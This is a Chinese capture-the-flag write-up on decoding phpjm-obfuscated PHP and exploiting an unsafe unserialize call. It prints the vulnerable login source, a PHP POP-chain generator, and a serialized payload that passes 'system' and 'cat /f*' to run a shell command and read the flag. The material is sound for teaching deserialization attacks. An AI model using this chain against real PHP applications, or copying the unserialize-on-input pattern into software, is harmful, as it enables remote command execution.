6、phpjm混淆解密和php反序列化

题目:青少年雏形系统

1、打开链接也是一个登入面板

2、尝试了sqlmap没头绪

3、尝试御剑,发现一个www.zip

4、下载打开,有一个php文件打开有一段phpjm混淆加密

5、使用手工解混淆

具体解法链接:奇安信攻防社区-phpjm混淆解密浅谈

解密网站:代码在线运行 - 在线工具

将加密的PHP复制到网站,将eval改成echo,点击运行

然后继续之前的将eval换成echo,然后运行

然后成功还原PHP源码

6、源码如下:

<?php
   error_reporting(0);
   class shi
   {
       public $next;
       public $pass;
       public function __toString(){
           $this->next::PLZ($this->pass);
       }
   }
   class wo
   {
       public $sex;
       public $age;
       public $intention;
       public function __destruct(){
           echo "Hi Try serialize Me!";
           $this->inspect();
       }
       function inspect(){
           if($this->sex=='boy'&&$this->age=='eighteen')
           {
               echo $this->intention;
           }
           echo "🙅18岁🈲";
       }
   }
   class Demo
   {
       public $a;
       static function __callStatic($action, $do)
       {
           global $b;
           $b($do[0]);
       }
   }
   $b = $_POST['password'];
   $a = $_POST['username'];
   @unserialize($a);
   if (!isset($b)) {
       echo "==================PLZ Input Your Name!==================";
   }
   if($a=='admin'&&$b=="'k1fuhu's test demo")
   {
       echo("登录成功");
   }
   ?>

7、根据源码,找出链子

<?php
class shi{}
class wo{}
class Demo{}
 
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

8、得到序列化的代码:

username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

9、得到flag

总结:

1、如果sql注入、弱口令爆破不行,尝试御剑扫目录,会其他收获

2、phpjm混淆解密

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值